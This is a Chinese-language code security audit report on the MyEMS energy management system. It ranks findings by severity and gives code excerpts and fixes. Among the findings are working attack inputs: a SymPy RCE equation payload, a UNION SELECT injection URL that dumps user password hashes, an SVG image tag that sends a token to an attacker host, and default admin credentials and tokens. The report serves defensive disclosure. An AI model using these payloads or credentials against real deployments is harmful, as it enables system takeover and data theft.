MyEMS 代码安全审计报告
- 审计对象:MyEMS v6.7.0(能源管理系统,ISO 50001 / GB/T 23331-2020 节能管理系统),含定制模块 myems-s7(西门子 PLC 数据采集)与 myems-admin 拆分滚动改造
- 审计日期:2026-08-11
- 审计范围:myems-api(Falcon REST API)、myems-normalization / myems-bacnet / myems-modbus-tcp / myems-s7(采集与归一化服务)、myems-web(React 前端)、myems-admin(AngularJS 1.8.3 管理端)、database/install(SQL 初始化)、部署配置
- 审计目标:反序列化、命令执行/RCE、SQL 注入、未授权访问、硬编码凭据、XSS、SSRF、越权/IDOR 等可获取系统/用户/应用权限或数据的漏洞
- 方法:5 个并行子代理按漏洞类别横向扫描 + 人工对全部关键/高危发现逐条直接读码复核,排除误报
一、风险等级汇总
| 等级 | 数量 | 说明 |
|---|---|---|
| 🔴 CRITICAL | 2 | 可直接 RCE;认证后可注入 SQL 泄露任意数据 |
| 🟠 HIGH | 5 | 越权/未授权读删数据、存储型 XSS、多处 SQL 注入 |
| 🟡 MEDIUM | 10 | 弱口令散列、硬编码凭据、CORS、令牌存储方式、SSRF、系统性的越权模式 |
| 🟢 LOW | 4 | 配置信任、单点防线、鉴权不一致、信息泄露 |
二、漏洞清单
🔴 CRITICAL
| # | 类别 | 位置 | 摘要 |
|---|---|---|---|
| C1 | RCE | myems-normalization/virtualmeter.py:465,517;myems-normalization/virtualpoint.py:581,198 |
SymPy sympify() 表达式求值,虚表/虚点方程由数据库字段控制,未校验即可在归一化服务上执行任意代码 |
| C2 | SQL 注入 | myems-api/reports/energystoragepowerstationreportingparameters.py:66,136-138 |
pointids 参数未校验直接拼接进 WHERE id IN (...),任意登录用户可利用 |
🟠 HIGH
| # | 类别 | 位置 | 摘要 |
|---|---|---|---|
| H1 | SQL 注入 | myems-api/reports/offlinemeterinput.py:77,122,158 |
meter JSON 字段直接拼入 INSERT VALUES,隐式类型转换可绕过前序参数化 SELECT |
| H2 | SQL 注入 | myems-api/reports/enterproduction.py:260-261,354-355,360 |
spaceid 直接拼入 INSERT VALUES |
| H3 | 未认证 IDOR | myems-api/core/user.py:2185(GET /users/newusers/{id_}) |
完全无鉴权,匿名可枚举待审批注册用户(姓名/UUID/邮箱) |
| H4 | 越权 IDOR | myems-api/reports/advancedreportfile.py:160,212 |
任意登录用户可下载/删除任意报表文件(无归属校验) |
| H5 | 存储型 XSS | myems-admin/app/controllers/settings/svg/svgpreview.controller.js:26;distributionsystempreview.controller.js:40 |
SVG 源码直接 innerHTML 渲染,客户端零过滤;admin token 明文存 localStorage,命中即完全接管 |
🟡 MEDIUM
| # | 类别 | 位置 | 摘要 |
|---|---|---|---|
| M1 | 硬编码凭据 | database/install/myems_user_db.sql:81-90;myems-api/example.env;myems-s7/config.py:9,17;myems-bacnet/config.py:8,14;myems-modbus-tcp/config.py:45;myems-api/config.py:117 |
默认管理员 administrator/!MyEMS1、全部 12 个库 root/!MyEMS1、网关 token、工作流 token 全部硬编码且默认生效 |
| M2 | 弱密码散列 | myems-api/core/user.py(登录校验处) |
sha512(salt + password) 单次、无 KDF/迭代;salt 明文存储,配合默认口令可离线爆破 |
| M3 | CORS 配置错误 | myems-api/app.py:209 |
CORSMiddleware(allow_origins='*', allow_credentials='*'),任意源可携带凭据跨域读取 |
| M4 | 令牌存储不安全 | myems-web/src/helpers/utils.js:34-39 + Main.js:128 |
token 明文 cookie,无 HttpOnly/Secure/SameSite;myems-admin/.../login.controller.js:71 token 明文 localStorage |
| M5 | 敏感信息落库 | myems-api/core/useractivity.py:238(user_logger) |
装饰器把原始请求体(含数据源/邮件服务器密码)写入 tbl_logs |
| M6 | 越权批量操作 | myems-api/core/webmessage.py:513,557 |
站内信批量更新/删除无 user_id 过滤(单条接口有),可改/删他人消息 |
| M7 | 跨用户工单读取 | myems-api/core/ticket.py:24,110,129,158 |
用固定 admin 身份代理请求工作流系统,不按请求用户过滤,全员可读全部工单 |
| M8 | 配置只读越权 | myems-api/core/microgrid.py:24,349;contact.py:64;command.py:25,178;energyflowdiagram.py:163,444 等 |
大量 GET 端点仅 access_control 且返回全量数据(地址/GPS/序列号/联系人/电话/MQTT 细节),未接入 tbl_privileges 权限模型 |
| M9 | 报表跨租户访问 | myems-api/reports/tenantbill.py:73-74,211-215,247 等 160/183 个报表端点 |
报表端点仅校验登录、不校验归属/权限,任意登录用户可拉任意租户计费/能耗/成本/碳数据 |
| M10 | 存储型 SSRF(管理员门槛) | myems-modbus-tcp/main.py:91-171、acquisition.py:45-61,231;myems-s7/acquisition.py:30,112;myems-bacnet/acquisition.py:102-107 |
数据源 connection.host/port 由管理员配置(core/datasource.py:101,334),采集服务以其为跳板对内网任意主机持续 telnet/Modbus/S7 探测 |
🟢 LOW
| # | 类别 | 位置 | 摘要 |
|---|---|---|---|
| L1 | 配置信任 | myems-api/core/emailserver.py:34,80-88 |
SMTP host/port 可指向任意内网主机,由仓库外发信服务消费 |
| L2 | 鉴权不一致 | myems-api/reports/fddfault.py:41 |
/reports/fddfault 无鉴权(当前仅返回空 {},无实际数据) |
| L3 | 垃圾邮件载体 | myems-api/core/user.py:1607 |
/users/emailmessages(公开)接受任意邮箱+任意内容写入发信队列,可被当垃圾邮件/钓鱼跳板 |
| L4 | SVG 白名单过宽 | myems-api/core/svg.py:12-59 |
bleach 允许全部元素 style 属性、foreignObject、image[href]/use[href],攻击面大;无 TLS(nginx 直连 8000 端口) |
三、关键漏洞详情
C1. SymPy 表达式求值 → RCE(归一化服务)
# myems-normalization/virtualmeter.py:465
expr = sympify(virtual_meter['equation'].lower())
...
# myems-normalization/virtualmeter.py:517
expr.evalf(subs=subs)
根因:sympify() 基于 eval() 的解析器。equation 字段来自数据库(tbl_virtual_meters),其 API 写入端(myems-api/core/virtualmeter.py:312-316)只校验非空,代码里甚至明确写着 # todo: validate equation with more rules。
利用链(默认凭据 → RCE):
- 用默认管理员
administrator/!MyEMS1(M1)或任意管理员账号登录 API; POST /virtualmeters(admin_control)写入恶意方程,如__import__('os').popen('id').read();- 归一化服务定时任务拉取该方程 →
sympify()→ 在归一化服务主机上执行任意命令。
补充:virtualpoint.py:581 同样 sympify(expression),仅在 :85-117 用正则黑名单 validate_expression_safe 拦截,黑名单模式可被 __getattribute__/__mro__/编码绕过等手段规避,且黑名单永远不是表达式求值的正确防线。
影响:任意命令执行,可完全接管归一化服务所在主机(通常部署在 OT/内网侧,网络可达面大)。
修复:不要用 sympify 解析用户表达式。改用 AST 解析 + 白名单操作符/函数(如 ast.parse + 自定义安全求值器),或对 equation 字段实施严格的语法/函数白名单并下沉到 API 层校验。
C2. pointids 参数直接拼接 SQL(SELECT 注入)
# myems-api/reports/energystoragepowerstationreportingparameters.py:66
point_id_list = req.params.get('pointids').split(",")
# :136-138
cursor_system.execute(" SELECT id, name, units, object_type "
" FROM tbl_points "
" WHERE id IN ( " + ', '.join(map(str, point_id_list)) + ") ", ())
根因:pointids 查询参数切分后不做任何整型校验,直接字符串拼接,且参数元组为空 ()。该端点仅需 access_control/api_key_control(任意有效会话/API-Key)。
利用:GET /reports/energystoragepowerstationreportingparameters?pointids=1) UNION SELECT password, salt, uuid, uuid FROM tbl_users--&... 即可从 myems_system 库(多租户共享连接,可尝试跨库 INFORMATION_SCHEMA 枚举其他 12 个业务库)批量外带数据。
影响:认证后任意数据读取(点表、间接可探测全库)。
修复:对列表元素逐个 int() 强转并 except 拒绝非法输入;或改为 %s 占位符展开 IN (%s,%s,...)。
H1 / H2. INSERT 型 SQL 注入(离线表计 / 生产录入)
# offlinemeterinput.py:77
offline_meter_data['offline_meter_id'] = new_values['meter'] # 用户可控,无类型校验
# :158
add_values += " (" + str(offline_meter_id) + "," # 直接拼入 INSERT
...
# :163
cursor_energy.execute(add_values[:-2]) # 无参数化
# enterproduction.py:260-261
production_data['space_id'] = new_values['spaceid']
production_data['product_id'] = new_values['spaceid'] # 注意:product_id 也取了 spaceid
# :354-355
add_values += " (" + str(production_data['space_id']) + ","
add_values += str(production_data['product_id']) + ","
# :360
cursor_production.execute(add_values[:-2])
根因:POST body 的 meter/spaceid 无整型校验,直接字符串拼进 INSERT INTO ... VALUES (...)。H1 中前序 SELECT ... WHERE id = %s 本可拦截,但利用 MySQL 隐式类型转换 id = '1 OR 1=1' 等价于 id = 1 即可绕过。
说明:mysql.connector 默认禁用多语句,堆叠查询不可用,但 VALUES 子句内的盲注(时间/布尔)、报错注入、子查询外带仍可实施。H2 同时暴露 product_id 被错误地赋值为 spaceid 的逻辑缺陷。
修复:meter/spaceid/product_id 均强制 int() 校验;INSERT 改用参数化 VALUES。
H3. 未认证 IDOR:枚举待审批注册用户
# myems-api/core/user.py:2185
def on_get(req, resp, id_):
_ = req # 没有任何鉴权调用
if not id_.isdigit() or int(id_) <= 0: ...
query = (" SELECT id, name, display_name, uuid, email "
" FROM tbl_new_users WHERE id = %s ")
...
result = {"id": row[0], "name": row[1], "display_name": row[2], "uuid": row[3], "email": row[4]}
根因:GET /users/newusers/{id_} 完全未调用 admin_control/access_control(同文件其他端点均校验)。路由注册于 app.py:1122。
利用:匿名直接遍历 GET /users/newusers/1..N。
影响:泄露所有待管理员审批注册者的姓名、邮箱、UUID,可枚举遍历用于撞库/钓鱼/社工。
修复:on_get 增加 admin_control(req)。
H4. 报表文件越权下载/删除
# myems-api/reports/advancedreportfile.py:160 (on_get)
access_control(req) # 仅校验“登录”
...
query = (" SELECT id, file_name, uuid, create_datetime_utc, file_type, file_object "
" FROM tbl_reports_files WHERE id = %s ") # 无 owner/user 过滤
# :212 (on_delete) 同样仅 access_control,DELETE FROM tbl_reports_files WHERE id = %s
根因:GET/DELETE /reports/advancedreports/{id} 只验证“是否登录”,不验证文件归属、角色或权限。
利用:登录任意普通账号 → 枚举 id 下载全部历史报表(含能耗/成本/计费等经营数据,返回 file_bytes_base64),并可删除任意报表文件。
修复:下载/删除增加归属校验(文件→用户/角色关联)或要求 admin_control。
H5. myems-admin SVG 预览存储型 XSS(纵深防御缺失)
// myems-admin/app/controllers/settings/svg/svgpreview.controller.js:26
document.getElementById("preview-svg").innerHTML = $scope.currentSVG.source_code;
// myems-admin/app/controllers/settings/distributionsystem/distributionsystempreview.controller.js:40
document.getElementById("preview-svg").innerHTML = $scope.currentDistributionSystem.svg.source_code;
根因:admin 管理端将 API 返回的 SVG source_code 未经任何客户端清洗直接写入 innerHTML(视图 views/settings/svg/svg.html:114、views/settings/distributionsystem/distributionsystem.html:297)。而同样的 source_code 在 myems-web React 端经过 DOMPurify 白名单清洗(myems-web/src/helpers/createMarkup.js:43 sanitizeSVG)才渲染——admin 端零防御纵深。
防线现状:服务端 core/svg.py:12-59 在全部写入路径(on_post:263、on_put:533、import:697)调用 bleach.clean,写入均 admin_control。因此触发存储型 XSS 需要:① 服务端 bleach 被绕过(白名单放行全部元素 style、foreignObject、image[href]/use[href],攻击面大且历史上 SVG+style 组合多次出现绕过);或 ② 清洗逻辑上线前已存在的旧数据、或经直改数据库/非 API 通道写入的恶意数据。
放大因素:admin token 明文存于 localStorage["myems_admin_ui_current_user"](login.controller.js:71),无 HttpOnly 隔离。一旦 XSS 命中 → 直接 JSON.parse(localStorage.getItem(...)) 窃取 administrator token → 完全控制系统。
修复:渲染前使用 DOMPurify(SVG profile + 禁 script/foreignObject,与 web 端策略一致);审查服务端 bleach 白名单(收紧 style、移除/限制 foreignObject 与 image[href]);将 admin token 迁出 localStorage(HttpOnly cookie)。
M1. 硬编码默认凭据(多处,默认生效)
| 位置 | 内容 |
|---|---|
database/install/myems_user_db.sql:81-90 |
管理员 administrator / !MyEMS1(salt adfd6fb6d78d4e3780ebdd6afdec2c3a,散列已核对匹配) |
myems-api/example.env |
全部 12 个业务库 root / !MyEMS1,且 git 跟踪、.gitignore 未忽略 *.env |
myems-s7/config.py:9,17;myems-bacnet/config.py:8,14 |
DB 密码默认 !MyEMS1(默认生效);myems-modbus-tcp/config.py:45、myems-s7/config.py:28 网关 token 默认 983427af-1c35-42ba-8b4d-288675550225 |
myems-api/config.py:117 |
工作流 token 默认 3d1ccf4c-83f2-11ef-a5fd-29e7d25a1ee6 |
database/install/myems_system_db.sql:871;database/demo-*/myems_system_db.sql:132-139 |
数据源口令 myems/!MyEMS1 |
myems-api/MyEMS.postman_collection.json / MyEMS.apipost.json |
SMTP 密码、固定会话 token 明文 |
影响:默认部署一旦对外,等于预设后门。C1 的“默认凭据 → RCE”链即依赖于此。修复:安装向导强制改密;示例 env 从 git 移除并加入 .gitignore;服务启动时校验默认口令并告警/拒绝。
M2. 弱密码散列
登录处 hashlib.sha512(salt + password).hexdigest()(myems-api/core/user.py),单次、无迭代/盐派生;salt 作为独立字段明文存储。配合 M1 的默认口令,可离线快速爆破;撞库时同盐同口令散列一致。
修复:改用 bcrypt/argon2/pbkdf2_hmac(多迭代),并支持存量口令平滑迁移(登录时检测后重哈希)。
M3. CORS 错误配置
myems-api/app.py:209:CORSMiddleware(allow_origins='*', allow_credentials='*')。任何站点可在已登录用户浏览器里以携带凭据的方式跨域读取 API 响应(受限于无 HttpOnly cookie + token 走自定义头,实际风险取决于令牌泄漏面,但配置明显违背"凭据+通配源互斥"原则)。
修复:明确 allow_origins 白名单,与 allow_credentials=True 互斥使用。
M4. 令牌存储与传输
myems-web/src/helpers/utils.js:34-39createCookie用document.cookie写入,无HttpOnly/Secure/SameSite;Main.js:128存储登录 token → 任何前端 XSS 即账号接管;页面不可控域名/Cookie 可被 JS 直接读取。myems-admin将{uuid, token}明文存localStorage(login.controller.js:71),对 H5 XSS 无任何隔离。
修复:token 迁入 HttpOnly + Secure + SameSite=Lax cookie;localStorage 仅存非敏感信息。
M6. 站内信批量越权
# core/webmessage.py:513 (on_put)
" UPDATE tbl_web_messages SET status = %s ... WHERE status = %s AND id in (" + ids + ")" # 无 user_id
# :557 (on_delete) 同样无 user_id
对比单条接口 WebMessageItem.on_put/on_delete(:445,:487)均带 AND user_id = %s,批量接口遗漏。任意登录用户可标记/删除任意 id 的他人消息。
修复:批量接口补 AND user_id = %s(或按批次校验归属)。
M7. 工单跨用户读取
core/ticket.py:24,129 用 config.myems_workflow 中固定 admin 身份签名请求外部工作流系统,将响应原文返回给请求者,未按请求用户过滤(:110-111,158-159)。任意登录用户可读全部工单(运维/告警处置记录)。
修复:按当前请求用户身份代理,或服务端按用户权限过滤响应。
M8 / M9. 系统性的"只校验登录、不校验归属/权限"
系统已有 tbl_privileges 权限模型(core/space.py:3651 SpaceTreeCollection 按 privilege.data 限定 space_id),但多数端点未接入:
- M8:
microgrid/photovoltaicpowerstation/energystoragecontainer/windfarm/contact/command/energyflowdiagram等 GET 端点仅access_control即返回全量配置(物理地址、GPS、序列号、联系人电话邮箱、MQTT topic/payload)。写操作均为admin_control,读却对全员开放。 - M9:
reports/下 183 个报表端点中 160 个仅access_control,以查询参数(spaceid/tenantid/meterid)直接查目标实体数据(例:tenantbill.py:73-74,211-215,247),任意登录用户可拉取任意租户的计费/能耗/成本/碳数据。
修复:统一在报表/配置 GET 端点接入 access_control + tbl_privileges/归属校验;不能只靠登录态。
M10. 存储型 SSRF / 内网扫描跳板
tbl_data_sources.connection({host, port, interval})由管理员配置(core/datasource.py:101,334,admin_control),采集服务据此持续连接:
myems-modbus-tcp/acquisition.py:45-61telnetlib3.open_connection(host, port)连通性探测(等价 TCP 端口扫描原语);:231TcpMaster(host, port);myems-s7/acquisition.py:30telnetlib.Telnet(host, port, 10);:112s7_client.connect(...);myems-bacnet/acquisition.py:102-107同样读该配置。
影响:采集服务(OT 网段、网络可达面大)成为跳板,可对内网任意主机做 TCP 探测与 Modbus/S7/BACnet 连接,或连向云元数据地址。写入口需管理员,定级中危。
修复:对 connection.host 做内网/链路本地地址(127.*、10.*、172.16-31.*、192.168.*、169.254.*、::1、fe80::/10)黑名单校验;端口限制为协议合法范围。
L4. SVG 服务端清洗白名单过宽
core/svg.py:25-49 白名单:全部元素放行 style;允许 foreignObject(可内嵌 HTML 语义);image[href]/use[href] 允许任意 URL → 可被用于外连跟踪/信息带出(<image href="https://attacker/?token=...">)。虽不直接执行 JS,但扩大了 H5 的攻击面。
四、已核查并排除的项(误报排除)
| 项 | 结论 |
|---|---|
Python 反序列化(pickle/yaml.load/marshal) |
全仓无命中 |
os.system/subprocess/os.popen 直接调用 |
全仓无命中(RCE 仅来自 C1 的 sympify 表达式求值) |
| 模板注入(Jinja2 SSTI 等) | 无用户可控模板编译 |
| 压缩包解压路径穿越(zip-slip) | 无相关代码 |
myems-web React 端 dangerouslySetInnerHTML(24 处) |
全部经 DOMPurify(helpers/createMarkup.js)清洗,配置合理,未见绕过 |
admin 端 ng-bind-html(约 60 处) |
均为 highlight filter,经 AngularJS 1.8.3 $sanitize 转义,当前不可利用 |
日历 window.open(url) |
数据来自静态演示文件,非 API/URL 参数,不可控 |
eval/new Function/动态脚本注入 |
两个前端全量搜索无命中 |
URL 参数 uuid 回显 |
仅用于 API 请求,未回显到 DOM |
| API 层直接 SSRF(用户可控 URL 出站请求) | 全仓出站仅 ticket.py(环境变量 URL)与 deepseek.py(配置 URL),均不可由 HTTP 参数控制 |
app.py 路由 ↔ handler 映射 |
642 条 add_route 全部能映射到已定义类,无悬空挂载 |
五、优先修复路线
- C1(SymPy RCE):最优先。用 AST 白名单求值替换
sympify,API 层即校验 equation/expression。 - M1(默认凭据)+ C2/H1/H2(SQL 注入):改默认口令/移除示例 env;全部 SQL 改为参数化 + 严格
int()校验。 - H3/H4(未认证 IDOR / 报表文件越权):补
admin_control;报表文件加归属校验。 - H5 + M4(存储型 XSS + 令牌存储):admin 端渲染前 DOMPurify;token 迁 HttpOnly cookie。
- M8/M9(系统性的越权模式):报表与配置 GET 端点统一接入
tbl_privileges/归属校验。 - M10(SSRF 跳板):数据源 host 内网地址黑名单。
- M2/M3/M5/M6/M7/L1-L4:按清单逐项收敛。
六、附:审计结论
- 该系统未发现 Python 反序列化、命令注入(除 C1 表达式求值外)、模板注入、压缩包穿越等典型服务端 RCE 向量。
- 主要风险集中在:数据驱动的表达式求值(C1)、报表/配置层系统性的越权与 SQL 拼接(C2/H1/H2/H3/H4/M6-M9)、默认硬编码凭据(M1)、以及前端 SVG 渲染与令牌存储(H5/M4)。
- C1 与 M1 组合可构成“默认口令 → 管理员 → 恶意方程 → 归一化主机任意命令执行”的完整链;H3 则是无需任何凭据即可触发的未授权信息泄露。
- 建议在修复 C1/M1/H3/H4 后再对外暴露任何环境;正式上线前对全部 SQL 执行点做参数化审计,并将报表/配置读接口接入权限模型。